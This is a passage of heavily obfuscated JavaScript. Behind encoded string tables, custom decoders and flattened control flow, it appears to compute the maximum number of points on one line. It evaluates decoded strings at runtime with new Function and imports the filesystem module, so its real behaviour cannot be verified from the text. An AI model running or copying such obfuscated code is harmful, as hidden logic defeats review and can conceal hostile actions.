u0048\u0028\u0026\u006d\u004f\u002a\u0046\u0023\u006d\u002e\u0043\u003c\u0079\u007c\u0021\u0057\u0057\u0030\u0049\u0054\u004e\u003c\u0048\u0061',海天日天(16),海天日天(53),海天日天(54),海天日天(16),海天日天(55),海天日天(56),海天日天(57),'\x7b\x49\x50\x58\x7c\x46\x5e\x45\x7c\x22\x21\x43\x5d\x46\x59\x24\x58\x36\x65\x5d\x6d\x22\x68\x25\x51\x6a\x56\x35\x61\x6a\x6c\x7b\x37\x49\x2c\x5a\x67\x75\x22\x6b\x76\x37\x79\x79\x78\x72\x36\x4d\x31\x36\x70\x35\x5b\x3d\x71\x7d\x79\x5f\x3f\x4c\x72\x59\x49\x36\x35\x46\x5e\x75\x2f\x55\x5e\x2b\x2f\x6e\x5b\x3d\x32\x70\x2f\x61\x4b\x77\x71\x4b\x79\x5d\x21\x38\x48\x28\x26\x6d\x4f\x2a\x46\x23\x6d\x2e\x43\x3c\x79\x7c\x21\x57\x57\x30\x49\x54\x4e\x3c\x48\x61',海天日天(58),海天日天(59),海天日天(58),'\x22\x56\x22\x6d\x71\x45\x43\x71\x38\x7a\x3a\x7e\x5d\x30\x40\x45\x28\x4b\x3c\x33\x3c\x53\x7a\x57\x7a\x5f\x53\x65\x30\x61\x56\x4d\x3c\x28\x4f\x3c\x33\x7a\x51\x57\x74\x62\x5f\x40\x76\x52\x31\x48\x4c\x65\x76\x6c\x7b\x75\x31\x32\x4a\x37\x67\x7c\x72\x25\x28\x45\x4f\x45\x4c\x2a\x7a\x34\x22\x3f\x6d\x5a\x6e\x73\x6e\x32\x36\x7c\x7d\x7c\x72\x41\x65\x70\x7a\x4b\x62\x69\x6a\x66\x3c\x6b\x2f\x4a\x7e\x40\x56\x4d\x42\x31\x4f\x45\x63\x75\x45\x3d\x78\x25\x4b\x5f\x68\x79\x26\x50\x56\x4d',海天日天(16),海天日天(60),海天日天(61),海天日天(62),海天日天(40),海天日天(16),海天日天(58),'\u003b\u006d\u002c\u0048\u0021\u007a\u006e\u0032\u0067\u007c\u0063\u0078\u0064\u0041\u005b\u0045\u002e\u0063\u0050\u005a\u0022\u0035\u0075\u0073\u004e',海天日天(63),海天日天(58),海天日天(64),海天日天(16),海天日天(65),海天日天(66),海天日天(67),'\x7c\x71\x5f\x64\x67\x75\x6c\x61\x61\x7c\x54\x6c\x3f',海天日天(68),海天日天(69),海天日天(70),海天日天(71),海天日天(72),海天日天(73),海天日天(74),海天日天(75),海天日天(76),海天日天(77),海天日天(78),'\u0064\u002b\u004d\u007b\u0045\u003d\u002b\u003d\u0036\u007c\u003d\u006c\u006b\u0059\u0069\u004d',海天日天(79),海天日天(80),海天日天(81),海天日天(82),海天日天(83),海天日天(84),海天日天(85),海天日天(86),海天日天(87),海天日天(88),海天日天(89),海天日天(90),海天日天(91),海天日天(92),海天日天(93),海天日天(94),海天日天(95),海天日天(96),海天日天(97),海天日天(98),海天日天(99),海天日天(100),海天日天(101),海天日天(102),海天日天(103),海天日天(104),海天日天(105),海天日天(106),海天日天(107),海天日天(108),海天日天(109),海天日天(110),海天日天(111),海天日天(112),海天日天(113),海天日天(114),海天日天(115),海天日天(116),'\x5e\x7c\x6c\x7b\x26\x74\x29\x3d\x64\x28\x44\x70\x78\x7d\x31\x25\x7e\x63\x73\x67\x25\x45\x3e\x39\x29\x37\x34\x5d\x31\x52\x2c\x77\x4a\x5f\x44\x72\x59\x66\x43\x6c\x48\x77\x2c\x64\x50\x4e',海天日天(117),海天日天(118),'\x31\x75\x31\x41\x5e\x4a\x77\x42\x2c\x61\x31\x40\x78\x7d\x40\x2b\x61\x4b\x44\x40\x4a\x6c\x21\x29\x4b\x7c\x30\x64\x53\x4b\x70\x68\x5a\x75\x25\x65\x5e\x50\x7a\x7a\x58\x32\x4b',海天日天(119),海天日天(120),海天日天(121),海天日天(122),海天日天(123),海天日天(124),海天日天(125),海天日天(126),海天日天(127),海天日天(128),海天日天(129),'\u0044\u0065\u0070\u0064\u007c\u0029\u0068\u0066\u0077\u0037\u002a\u0023\u0077\u0059\u007e\u004d\u0047\u0065\u006c\u004f\u002f\u0044\u006d\u003f',海天日天(130),海天日天(131),海天日天(132),'\u0062\u0041\u0064\u004b\u0070\u004c\u007e\u0037\u005d\u0079\u002a\u004f\u0021\u0030\u0041\u007b\u0067\u007c\u0071','\x21\x66\x33\x42\x22\x3e\x52\x49\x6b\x63\x22\x23\x45\x79\x54\x6b\x64\x79\x24\x35\x76\x3c\x7c\x65\x7c\x61\x36\x3d\x51',海天日天(133),'\x7d\x5f\x77\x68\x6a\x75\x3b\x70\x30\x3a\x3c\x72\x4f\x43\x7c\x21\x4a\x6e\x44\x67\x26\x26\x58\x6b\x49\x32\x62\x52\x5d\x41','\u0038\u0077\u0049\u0026\u005d\u0045\u006c\u0029\u007b\u0061\u0065\u003d\u0032\u0071\u007d\u0070\u002a\u0033\u007c\u0065\u0022\u0064\u0056\u0074\u0064\u0048\u0051\u0068\u0039\u006d\u0062\u0032\u005d\u0038\u0071','\x78\x45\x4b\x56\x32\x4a\x6f\x3d\x5d\x79\x6f\x3e\x31\x59\x3c\x44\x2a\x61\x29\x42\x4e\x5e\x28\x54\x72\x22\x68\x63\x43\x6d\x6f\x59\x69\x72\x53\x41\x58\x4f\x63\x3d\x7c\x22\x21\x78\x57\x74\x62',海天日天(134),'\u0064\u0065\u003b\u0033\u0064\u0055\u0047\u0070\u0079\u007c\u004e\u0024\u0023\u0059\u007c\u007b\u004c\u007d\u0056\u0028\u0036\u0060\u0060\u0061\u007b\u003e\u0063\u003a\u0066\u0072\u0070\u007b\u0047\u003a\u002b\u0035\u004a\u0038\u0033\u003d\u007c\u0037\u006b\u0074\u0051',海天日天(135),海天日天(136),海天日天(137),'\x2a\x31\x57\x26\x52\x4f\x48\x7d\x5a\x7c\x3b\x24\x26\x6a\x49\x7d\x4f\x3b\x38\x4b\x66\x6d\x65\x3b\x3d\x3e\x2b','\x56\x43\x58\x4f\x55\x54\x56\x65\x25\x7c\x48\x2b\x62\x52\x2a\x24\x44\x4b\x41\x4a\x3e\x29\x61\x5a\x47\x43\x76\x63\x4e\x7d\x58\x7b\x22\x63\x59\x56\x35\x79\x74\x62\x66\x63\x5a\x71\x50\x4b\x29\x32',海天日天(138),海天日天(139),海天日天(140),'\x3f\x78\x3a\x33\x46\x65\x6e\x28\x76\x6a\x41\x2a\x59\x2a\x5b\x44\x45\x3b\x7e\x66\x54\x26\x61\x5a\x2e\x7a\x49\x7c\x33\x62\x59\x45\x73\x79\x36\x69\x52\x63\x40\x4e',海天日天(141),海天日天(142),海天日天(143),海天日天(144),海天日天(145),海天日天(146),海天日天(147),海天日天(148),海天日天(149),'\x57\x7e\x4c\x6e\x38\x4f\x30\x2a\x50\x6e\x23\x74\x36\x2a\x5e\x2b\x76\x3b\x5f\x64\x57\x22\x4a\x39\x4b\x5f\x5e\x7d\x5e\x6a\x59\x24\x21\x7c\x3d\x33\x51\x46\x78\x49\x31\x32\x44\x40\x4e\x58',海天日天(150),海天日天(151),海天日天(152),'\u0069\u0029\u005d\u0041\u0077\u0075\u0021\u0039\u0032\u003e\u005e\u0061\u0050\u0043\u0053\u0045\u0025\u005f\u003f\u0065\u0030\u0065\u0048\u0028\u006e\u007a\u0060\u005d\u005b\u0075\u006b\u007d\u0037\u007c\u004c\u0026\u0067\u003d\u0051',海天日天(153),海天日天(154),海天日天(155),'\u0069\u0045\u0044\u003c\u006f\u004d\u0034\u003d\u006b\u007c\u0055\u0073\u0069\u0031\u0059\u0044\u0036\u0036\u0071\u005d\u0053',海天日天(156),'\u007c\u0065\u0044\u0068\u0063\u0064\u0032\u0062\u0071\u003e\u0032\u0024\u0039\u006d\u0063\u005d\u0045\u0033\u0079\u0064\u0046\u0044\u0053\u0055\u0060\u0032\u0024\u0063\u0041\u0075\u007c\u0025\u0072\u004b\u0053\u0041\u0028\u0056\u002f\u0068\u0029\u0028\u002b\u0052\u0033\u007d\u0078\u0039',海天日天(157),海天日天(158),海天日天(159),'\x67\x6a\x59\x76\x2e\x2a\x33\x29\x7a\x7c\x64\x5a\x23\x3e\x36\x4d\x7c\x7b\x53\x42\x71\x52\x70\x70\x4e\x6a\x70\x79\x28\x52\x6b\x44\x74\x51','\u0031\u0046\u0051\u0065\u0045\u003c\u006d\u0042\u007c\u003e\u0037\u0078\u005b\u0075\u0034\u0067\u004b\u003b\u0069\u0024\u007d\u003c\u0029\u0040\u0070\u0061\u0025\u0024\u0035\u0024\u0041\u0077\u0031\u0075\u0064\u0042\u007b\u0033\u004e\u007a\u006f\u007a\u0064\u006d\u004e\u0031\u0028\u0045','\u0036\u0061\u0032\u0052\u0028\u0037\u0031\u0032\u002c\u0032\u0064\u003d\u0047\u0046\u0067\u0021\u0067\u007c\u0075\u0026\u0033\u002b\u006e\u0032\u0058',海天日天(160),海天日天(161),海天日天(162),海天日天(163),海天日天(164),'\x23\x7c\x72\x49\x71\x63\x32\x5d\x60\x33\x5b\x7b\x48\x4d\x38\x39\x77\x31\x52\x49\x2e\x75\x62\x32\x36\x48\x3e\x72\x50\x6c\x59\x2b\x23\x38\x2a\x67\x43\x26\x7b\x56\x3d\x39\x4a\x77\x3f','\x6b\x46\x24\x69\x2b\x3d\x36\x42\x47\x7a\x52\x64\x56\x75\x41\x4d\x5a\x75\x4a\x24\x64\x50\x42\x3f\x5b\x7c\x37\x3c\x5a\x3e\x7a\x67\x2e\x43\x29\x41','\u007a\u0063\u0054\u0040\u0039\u004d\u0021\u0039\u0061\u0063\u0054\u0066\u0062\u0030\u0063\u0025\u0071\u003e\u0036\u005d\u0028\u0060\u007c\u003b\u0039\u0032\u003b\u0077\u004e\u0058\u007c\u007b\u007d\u0075\u0051\u0049\u0068','\x28\x7e\x35\x65\x33\x29\x28\x3b\x49\x4f\x3a\x26\x7c\x7d\x31\x32\x56\x79\x7a\x28\x61',海天日天(165),'\x6a\x65\x76\x24\x49\x66\x69\x39\x31\x7a\x7a\x40\x53\x6d\x47\x6b\x46\x7c\x37\x3c\x7e\x3a\x57\x61\x50\x61\x62\x38\x2b\x4b\x6e\x44\x5e\x7e\x41\x69\x57\x40\x67\x61\x2f\x37\x65',海天日天(166),'\x33\x7c\x7a\x5a\x39\x40\x6d\x42\x6a\x23\x61\x3b\x40\x71\x49\x7b\x66\x79\x6d\x65\x40\x44\x64\x62\x4d\x7a\x2e\x32\x44\x4b\x25\x67\x6a\x45\x4f\x26\x39\x22\x31\x70\x3a\x5f',海天日天(167),'\x4d\x77\x70\x5d\x57\x4c\x40\x66\x73\x6a\x6d\x6c\x71\x60\x35\x21\x30\x7c\x38\x4f\x2c\x52\x5b\x40\x25\x5f\x7d\x46\x7b\x4b\x38\x7b','\x31\x31\x50\x5a\x5f\x4a\x5a\x5a\x7c\x39\x36\x46\x75\x43\x42\x4d\x59\x75\x3b\x72\x2e\x7e\x2b\x39\x44\x7a\x46\x43\x3f',海天日天(168),海天日天(169),海天日天(170),海天日天(171),海天日天(172),海天日天(173),'\x21\x66\x41\x58\x43\x74\x44\x42\x29\x3a\x6f\x6d\x30\x25\x71\x77\x73\x7c\x29\x42\x76\x4c\x21\x4e\x3b\x5f\x58\x6e\x6a\x4e\x70\x7d\x39\x37\x71','\u0058\u0061\u0067\u0066\u0064\u0055\u0024\u0042\u0032\u003e\u0060\u006a\u0054\u0041\u0055\u0031\u0033\u007c\u003c\u0065\u006e\u0026\u0077\u005d\u0048\u0063\u0063\u003c\u0073\u004b\u006b\u007d\u003b\u0075\u0033\u0040\u0043\u006d\u007a\u0045\u0041','\x76\x65\x35\x33\x32\x74\x40\x2f\x76\x22\x4f\x7b\x23\x55\x36\x4b\x46\x7b\x4e\x35\x46\x44\x69\x25\x47\x7c\x58\x73\x3f','\u0040\u0046\u0036\u0069\u0067\u004d\u0045\u0061\u003d\u0028\u0068\u0073\u0021\u007a\u006e\u0032\u0026\u007c\u0072\u0049\u005a\u0073\u002e\u003f\u0031\u002f\u006b\u0043\u0059\u0050\u006b\u0044\u0067\u0066\u0071\u0058\u004a\u0064\u006e\u0032\u0036\u003a\u007d\u0024\u003f',海天日天(174),'\x78\x46\x49\x42\x40\x44\x6d\x3f\x76\x3e\x3b\x77\x44\x4e\x69\x44\x6b\x65\x3b\x3c\x66\x74\x36\x42\x35\x3e\x61\x3b\x5e\x71\x55\x4d\x5e\x43\x46\x49\x46\x65\x30\x2a\x21\x7c\x59\x25\x43\x58',海天日天(175),海天日天(176),海天日天(177),海天日天(178),海天日天(179),海天日天(180)];var 峰峰山=(林林地金,川天木,地天雪水,風光風,山海林雪)=>{if(typeof 風光風===海天日天(181)){風光風=山地林雲}if(typeof 山海林雪===海天日天(181)){山海林雪=月川雪}if(林林地金!==川天木){return 山海林雪[林林地金]||(山海林雪[林林地金]=風光風(水山[林林地金]))}if(地天雪水==林林地金){return 川天木[月川雪[地天雪水]]=峰峰山(林林地金,川天木)}if(風光風===undefined){峰峰山=山海林雪}};function 風光風(){return globalThis}function 山海林雪(){return global}function 峰日(){return window}function 星水木川(){return new Function(海天日天(182))()}function 雲林光(林林地金=[風光風,山海林雪,峰日,星水木川]){var 地天雪水;var 月川雪=[];try{川天木(地天雪水=Object,月川雪[海天日天(183)](''[海天日天(184)][海天日天(185)][海天日天(186)]))}catch(e){}r76HglG:for(var 水山=0;水山<林林地金[海天日天(187)];水山++){try{地天雪水=林林地金[水山]();for(var 峰峰山=0;峰峰山<月川雪[海天日天(187)];峰峰山++){if(typeof 地天雪水[月川雪[峰峰山]]===海天日天(181))continue r76HglG}return 地天雪水}catch(e){}}return 地天雪水||this}var 星川峰林=雲林光()||{};var 水海金地=星川峰林[海天日天(188)];var 雪月雪星=星川峰林[海天日天(189)];var 風林川=星川峰林[海天日天(190)];var 風地月山=星川峰林[海天日天(191)]||String;var 風水星=星川峰林[海天日天(192)]||Array;var 雲天=function(){var 林林地金=new 風水星(128);var 地天雪水=風地月山[海天日天(193)]||風地月山[海天日天(194)];var 月川雪=[];return function(水山){var 峰峰山,風光風;var 山海林雪=水山[海天日天(187)];月川雪[海天日天(187)]=0;for(var 峰日=0;峰日<山海林雪;){風光風=水山[峰日++];if(風光風<=127){峰峰山=風光風}else if(風光風<=223){峰峰山=(風光風&31)<<6|水山[峰日++]&63}else if(風光風<=239){峰峰山=(風光風&15)<<12|(水山[峰日++]&63)<<6|水山[峰日++]&63}else if(風地月山[海天日天(193)]){峰峰山=(風光風&7)<<18|(水山[峰日++]&63)<<12|(水山[峰日++]&63)<<6|水山[峰日++]&63}else{川天木(峰峰山=63,峰日+=3)}月川雪[海天日天(183)](林林地金[峰峰山]||(林林地金[峰峰山]=地天雪水(峰峰山)))}return 月川雪[海天日天(195)]('')}}();function 火光泉火(林林地金){if(typeof 水海金地!==海天日天(181)&&水海金地){return new 水海金地()[海天日天(196)](new 雪月雪星(林林地金))}else if(typeof 風林川!==海天日天(181)&&風林川){return 風林川[海天日天(197)](林林地金)[海天日天(198)](海天日天(199))}else{return 雲天(林林地金)}}var 地木=[峰峰山(19),峰峰山(200)];var 泉日風日={['海泉天風']:峰峰山(8),['山火']:峰峰山(223)};var 山木,峰日地木=function(){var 林林地金=(地天雪水,峰峰山,雲林光,星川峰林,水海金地)=>{if(typeof 星川峰林===海天日天(181)){星川峰林=風林川}if(typeof 水海金地===海天日天(181)){水海金地=月川雪}if(雲林光&&星川峰林!==風林川){林林地金=風林川;return 林林地金(地天雪水,-1,雲林光,星川峰林,水海金地)}if(峰峰山){[水海金地,峰峰山]=[星川峰林(水海金地),地天雪水||雲林光];return 林林地金(地天雪水,水海金地,雲林光)}if(雲林光==星川峰林){return 峰峰山?地天雪水[水海金地[峰峰山]]:月川雪[地天雪水]||(雲林光=水海金地[地天雪水]||星川峰林,月川雪[地天雪水]=雲林光(水山[地天雪水]))}if(地天雪水!==峰峰山){return 水海金地[地天雪水]||(水海金地[地天雪水]=星川峰林(水山[地天雪水]))}if(星川峰林===林林地金){風林川=峰峰山;return 風林川(雲林光)}};var 地天雪水=[林林地金(7)];function 峰峰山(){return globalThis}function 雲林光(){return global}function 星川峰林(){return window}function 水海金地(){var 林林地金=(峰峰山,雲林光,星川峰林,水海金地,雪月雪星)=>{if(typeof 水海金地===海天日天(181)){水海金地=地天雪水}if(typeof 雪月雪星===海天日天(181)){雪月雪星=月川雪}if(峰峰山!==雲林光){return 雪月雪星[峰峰山]||(雪月雪星[峰峰山]=水海金地(水山[峰峰山]))}if(星川峰林==水海金地){return 雲林光?峰峰山[雪月雪星[雲林光]]:月川雪[峰峰山]||(星川峰林=雪月雪星[峰峰山]||水海金地,月川雪[峰峰山]=星川峰林(水山[峰峰山]))}if(雲林光){[雪月雪星,雲林光]=[水海金地(雪月雪星),峰峰山||星川峰林];return 林林地金(峰峰山,雪月雪星,星川峰林)}};return new Function(林林地金(0))();function 地天雪水(林林地金){var 地天雪水='\u007a\u0065\u0050\u006d\u0046\u006e\u0047\u0071\u0070\u004c\u0061\u0048\u0043\u006f\u0057\u0044\u002b\u005d\u0031\u0042\u0051\u0074\u0037\u003b\u0024\u0064\u004b\u002e\u0077\u003d\u0033\u007b\u0041\u0034\u0021\u0023\u0022\u0053\u003c\u0058\u007e\u0073\u004a\u005b\u0072\u003a\u0036\u0068\u007d\u0026\u0056\u002f\u004e\u0049\u0029\u006a\u0062\u0038\u0045\u0066\u005a\u0054\u002a\u0030\u003f\u0059\u007c\u0055\u004d\u005f\u0028\u0040\u0079\u0032\u0075\u0067\u0069\u0052\u003e\u0063\u0039\u006c\u002c\u005e\u006b\u0076\u0035\u0060\u0025\u004f\u0078';var 峰峰山=''+(林林地金||'');var 雲林光=峰峰山.length;var 星川峰林=[];var 水海金地=0;var 雪月雪星=0;var 風林川=-1;for(var 月川雪=0;月川雪<雲林光;月川雪++){var 水山=地天雪水.indexOf(峰峰山[月川雪]);if(水山===-1)continue;if(風林川<0){風林川=水山}else{川天木(風林川+=水山*91,水海金地|=風林川<<雪月雪星,雪月雪星+=(風林川&8191)>88?13:14);do{川天木(星川峰林.push(水海金地&255),水海金地>>=8,雪月雪星-=8)}while(雪月雪星>7);風林川=-1}}if(風林川>-1){星川峰林.push((水海金地|風林川<<雪月雪星)&255)}return 火光泉火(星川峰林)}}function 雪月雪星(林林地金=[峰峰山,雲林光,星川峰林,水海金地]){var 地天雪水=(林林地金,雪月雪星,風林川,風地月山,風水星)=>{if(typeof 風地月山===海天日天(181)){風地月山=林泉}if(typeof 風水星===海天日天(181)){風水星=月川雪}if(風地月山===undefined){地天雪水=風水星}if(風林川==林林地金){return 雪月雪星[月川雪[風林川]]=地天雪水(林林地金,雪月雪星)}if(林林地金!==雪月雪星){return 風水星[林林地金]||(風水星[林林地金]=風地月山(水山[林林地金]))}if(風林川&&風地月山!==林泉){地天雪水=林泉;return 地天雪水(林林地金,-1,風林川,風地月山,風水星)}};var 雪月雪星={['水影影']:地天雪水(5)};var 風林川;var 風地月山=[];try{var 風水星=(林林地金,地天雪水,雪月雪星,風林川,風地月山)=>{if(typeof 風林川===海天日天(181)){風林川=泉日風日}if(typeof 風地月山===海天日天(181)){風地月山=月川雪}if(林林地金!==地天雪水){return 風地月山[林林地金]||(風地月山[林林地金]=風林川(水山[林林地金]))}if(風林川===風水星){泉日風日=地天雪水;return 泉日風日(雪月雪星)}if(雪月雪星&&風林川!==泉日風日){風水星=泉日風日;return 風水星(林林地金,-1,雪月雪星,風林川,風地月山)}};var 雲天={['水泉雪影']:風水星(2),['雲泉金']:風水星(3)};var 地木=[風水星(1),風水星(4)];川天木(風林川=Object,風地月山[地木[0]](''[雲天['水泉雪影']][雲天['雲泉金']][地木[1]]));function 泉日風日(林林地金){var 地天雪水='\u0040\u0034\u0056\u0047\u0079\u0063\u0026\u004e\u0045\u0067\u003f\u0074\u002c\u007b\u0028\u0069\u0055\u007e\u005f\u004c\u005e\u006d\u0066\u0043\u0030\u007a\u0057\u005a\u0046\u0070\u0029\u004a\u0077\u007d\u002b\u006a\u007c\u0061\u003e\u0033\u0052\u003c\u006e\u0021\u0041\u0038\u0053\u0073\u003b\u0048\u0051\u0054\u004f\u0022\u0036\u0059\u0037\u003a\u005b\u003d\u005d\u0024\u004b\u0078\u0042\u0065\u0050\u0075\u0044\u006f\u0049\u004d\u0031\u0076\u0060\u0023\u0062\u0058\u0072\u0039\u002f\u0068\u002a\u0025\u0064\u0035\u006c\u002e\u0032\u0071\u006b';var 雪月雪星=''+(林林地金||'');var 風林川=雪月雪星.length;var 風地月山=[];var 風水星=0;var 雲天=0;var 地木=-1;for(var 泉日風日=0;泉日風日<風林川;泉日風日++){var 峰日地木=地天雪水.indexOf(雪月雪星[泉日風日]);if(峰日地木===-1)continue;if(地木<0){地木=峰日地木}else{川天木(地木+=峰日地木*91,風水星|=地木<<雲天,雲天+=(地木&8191)>88?13:14);do{川天木(風地月山.push(風水星&255),風水星>>=8,雲天-=8)}while(雲天>7);地木=-1}}if(地木>-1){風地月山.push((風水星|地木<<雲天)&255)}return 火光泉火(風地月山)}}catch(e){}k8ctaD:for(var 山木=0;山木<林林地金[雪月雪星['水影影']];山木++){try{var 峰日地木=地天雪水(5);風林川=林林地金[山木]();for(var 月金=0;月金<風地月山[峰日地木];月金++){var 天風雪={['海山']:地天雪水(6)};if(typeof 風林川[風地月山[月金]]===天風雪['海山'])continue k8ctaD}return 風林川}catch(e){}}return 風林川||this;function 林泉(林林地金){var 地天雪水='\x31\x2f\x7d\x75\x3d\x30\x28\x34\x7a\x60\x5b\x22\x3e\x51\x47\x6f\x2c\x78\x33\x66\x38\x5a\x63\x2e\x24\x7b\x32\x29\x69\x76\x53\x57\x48\x25\x46\x70\x61\x68\x6c\x6d\x35\x45\x4a\x72\x23\x6a\x4c\x5d\x2a\x7e\x37\x74\x71\x21\x5e\x44\x77\x5f\x56\x39\x64\x3a\x52\x4f\x6e\x7c\x3b\x67\x43\x6b\x3f\x50\x59\x49\x36\x79\x54\x58\x3c\x42\x4b\x65\x4d\x4e\x41\x40\x62\x26\x55\x73\x2b';var 雪月雪星=''+(林林地金||'');var 風林川=雪月雪星.length;var 風地月山=[];var 風水星=0;var 雲天=0;var 地木=-1;for(var 泉日風日=0;泉日風日<風林川;泉日風日++){var 峰日地木=地天雪水.indexOf(雪月雪星[泉日風日]);if(峰日地木===-1)continue;if(地木<0){地木=峰日地木}else{川天木(地木+=峰日地木*91,風水星|=地木<<雲天,雲天+=(地木&8191)>88?13:14);do{川天木(風地月山.push(風水星&255),風水星>>=8,雲天-=8)}while(雲天>7);地木=-1}}if(地木>-1){風地月山.push((風水星|地木<<雲天)&255)}return 火光泉火(風地月山)}}return 山木=雪月雪星[地天雪水[0]](this);function 風林川(林林地金){var 地天雪水='\x79\x30\x26\x35\x3b\x28\x3e\x75\x3c\x2f\x76\x2b\x38\x39\x36\x2c\x34\x70\x58\x5b\x45\x7b\x7c\x42\x22\x5f\x69\x57\x33\x23\x2e\x5e\x59\x46\x64\x5a\x37\x47\x4c\x4e\x52\x50\x4b\x40\x61\x65\x3d\x63\x6c\x68\x67\x3f\x60\x73\x49\x71\x78\x6e\x41\x6b\x25\x6f\x72\x4d\x74\x5d\x32\x4f\x4a\x62\x55\x6d\x24\x7a\x48\x56\x77\x66\x43\x6a\x54\x53\x51\x7e\x2a\x31\x44\x21\x3a\x29\x7d';var 峰峰山=''+(林林地金||'');var 雲林光=峰峰山.length;var 星川峰林=[];var 水海金地=0;var 雪月雪星=0;var 風林川=-1;for(var 月川雪=0;月川雪<雲林光;月川雪++){var 水山=地天雪水.indexOf(峰峰山[月川雪]);if(水山===-1)continue;if(風林川<0){風林川=水山}else{川天木(風林川+=水山*91,水海金地|=風林川<<雪月雪星,雪月雪星+=(風林川&8191)>88?13:14);do{川天木(星川峰林.push(水海金地&255),水海金地>>=8,雪月雪星-=8)}while(雪月雪星>7);風林川=-1}}if(風林川>-1){星川峰林.push((水海金地|風林川<<雪月雪星)&255)}return 火光泉火(星川峰林)}}[泉日風日['海泉天風']]();function 月金(...林林地金){var 川天木=[峰峰山(9)];return 林林地金[林林地金[川天木[0]]-1]}var 天風雪=木泉(-711)[峰峰山[海天日天(200)](undefined,10)](null);if(function(){var 林林地金=function(){const 地天雪水=function(){var 地天雪水={['星火']:峰峰山(11),['地林峰海']:峰峰山[海天日天(201)](undefined,[17])};var 月川雪=地天雪水['星火']in 天風雪;if(月川雪){var 水山=[峰峰山(13)];var 風光風=峰峰山(12);var 山海林雪=月金(天風雪[風光風]=水山[0],function(地天雪水){var 月川雪=838;var 水山=-409;var 風光風=-383;var 山海林雪={'\u0062':0,'\x46':-756,'\u0061\u0047':function(){return 水山=山海林雪['\u0061\u0046']},'\x65':428,'\x61\x42':50,'\x61\x48':116,'\x67':838,'\u0077':60,'\u0061\u006f':61,'\x66':function(){return 山海林雪['\x62']},'\x61\x46':133,'\u006a':-409,'\x48':-837,'\x61\x77':function(){return 水山+=-2},'\x61\x78':function(地天雪水=山海林雪['\x61\x6f']==76){if(地天雪水){return arguments}return 月川雪+=722},'\x73':()=>{return 水山+=406,風光風+=-373},'\u0053':-10,'\u004f':18};while(月川雪+水山+風光風!=98){switch(月川雪+水山+風光風){case 346:case 557:case 100:for(var 峰日=月川雪==山海林雪['\u0077']?44:0;峰日<雲林光;峰日++){var 林林地金=[峰峰山[海天日天(201)](undefined,[16])];for(var 星水木川=(山海林雪['\u0065']==428?月金:__dirname)(水海金地={},雪月雪星=(風光風==山海林雪['\u0046']?山海林雪:undefined)['\x62'],風林川=月川雪+山海林雪['\x48'],峰日+1);(山海林雪['\x49']=星水木川)<雲林光;星水木川++){if(地天雪水[風光風==-756?峰日:parseInt].x===(風光風==(山海林雪['\x48']==-837?-756:'\x4c')?���天雪水:__filename)[星水木川].x&&(山海林雪['\u0048']==29?木泉(-559):地天雪水)[山海林雪['\u0077']==58?風光風:峰日].y===(水山==山海林雪['\u0053']?木泉(-363):地天雪水)[風光風==水山+-774?星水木川:木泉(72)].y){風林川++;continue}if(地天雪水[峰日].y===地天雪水[山海林雪['\x77']==-78||星水木川].y)風地月山=木泉(907).MAX_SAFE_INTEGER;else 風地月山=((山海林雪[峰峰山(14)]('\u0048')?地天雪水:__filename)[山海林雪['\x6a']=='\x61\x65'?木泉(142):峰日].x-地天雪水[typeof 山海林雪['\u0062']==峰峰山(15)||星水木川].x)/(地天雪水[山海林雪['\u0061\u006a']=峰日].y-(月川雪==49||地天雪水)[水山==18?星水木川:木泉(232)].y);if(!(山海林雪['\u0061\u006b']=水海金地)[風地月山])水海金地[風地月山]=山海林雪['\u0062'];川天木((山海林雪['\x53']==-27?Proxy:水海金地)[山海林雪['\x62']==0?風地月山:Buffer]++,雪月雪星=木泉(86).max(雪月雪星,(風光風==-29?木泉(-321):水海金地)[山海林雪['\x4f']=='\u0061\u006e'?木泉(954):風地月山]))}川天木(雪月雪星+=風林川,星川峰林=(風光風==(山海林雪['\u0061\u006f']==838?山海林雪['\u0061\u0072']:-756)&&木泉(86)).max(typeof 山海林雪['\x53']==林林地金[0]||星川峰林,雪月雪星))}return 山海林雪['\u0065']==428?星川峰林:undefined;山海林雪['\x61\x77']();break;case 792:case 79:if(false){水山+=山海林雪['\u0065']==-3?山海林雪['\u0076']:21;break}var 雲林光=地天雪水.length;水山+=21;break;case 46:var 星川峰林=(山海林雪['\x6c']=山海林雪)['\x62'];var 水海金地={};var 雪月雪星=風光風+(山海林雪['\x67']==-383?'\u006e':383);var 風林川=(山海林雪['\u0070']=山海林雪)['\x62'];var 風地月山=(山海林雪['\u0072']=山海林雪)['\x62'];山海林雪['\u0073']();break;default:case 807:var 星川峰林=(山海林雪['\x62']=='\u0063'?木泉(-961):山海林雪)['\u0062'];var 水海金地={};var 雪月雪星=水山+山海林雪['\x65'];var 風林川=山海林雪['\u0066']();var 風地月山=(山海林雪['\x62']=='\x68'?木泉(-873):山海林雪)['\x62'];川天木(水山+=425,風光風+=-373);break;case 95:case 117:川天木(山海林雪['\x65']=undefined,水山=-100,山海林雪['\x61\x78'](),水山*=2,水山-=月川雪+-397,風光風+=風光風+(山海林雪['\u0062']==7?-82:-309));break;case 91:case 901:case 695:川天木(山海林雪['\u0061\u0047'](),風光風+=山海林雪['\x77']=='\x61\x49'?53:4);break}}});木泉(-495).log(山海林雪)}const 峰日=new(木泉(-785))('\x0a');return 峰日[地天雪水['地林峰海']](林林地金)};return 地天雪水()};return 林林地金()}()){var 林泉=峰峰山(18);while(true){if(月金(林泉=林泉,!林泉))break}}import{dirname as 火雲地}from'path';const __filename=林林地金(import.meta[地木[0]]);const __dirname=火雲地(__filename);import 風風海 from'fs';import 林天天 from'path';async function 星光(){var 林林地金=峰峰山[海天日天(201)](undefined,[20]);var 地天雪水=林林地金 in 天風雪;if(地天雪水){var 風光風=function(林林地金){var 地天雪水=-139;var 風光風=-214;var 山海林雪=464;var 峰日={'\x61\x78':()=>{return 地天雪水=峰日['\x57']=='\x61\x75'?77:21},'\u004a':()=>{return 山海林雪+=-77},'\u0061\u0079':function(林林地金=山海林雪==318){if(!林林地金){return 峰日}return 地天雪水=-86},'\u0061\u006f':-91,'\u0061\u0074':91,'\x41':-44,'\x62':0,'\x48':-139,'\x57':-214,'\x63':1,'\x61\x6a':-100,'\x61\x70':function(){return 地天雪水+=峰日['\u0061\u006f']},'\u0061\u0073':()=>{return{'\x61\x72':峰日['\x62']==13?Proxy:雪月雪星};峰日['\x61\x70']();return'\x61\x71'},'\u0049':()=>{return 地天雪水+=地天雪水+211},'\x69':431,'\u0061\u0068':-67,'\x54':-72,'\x45':199,['\u0061\u0045']:function(林林地金){return 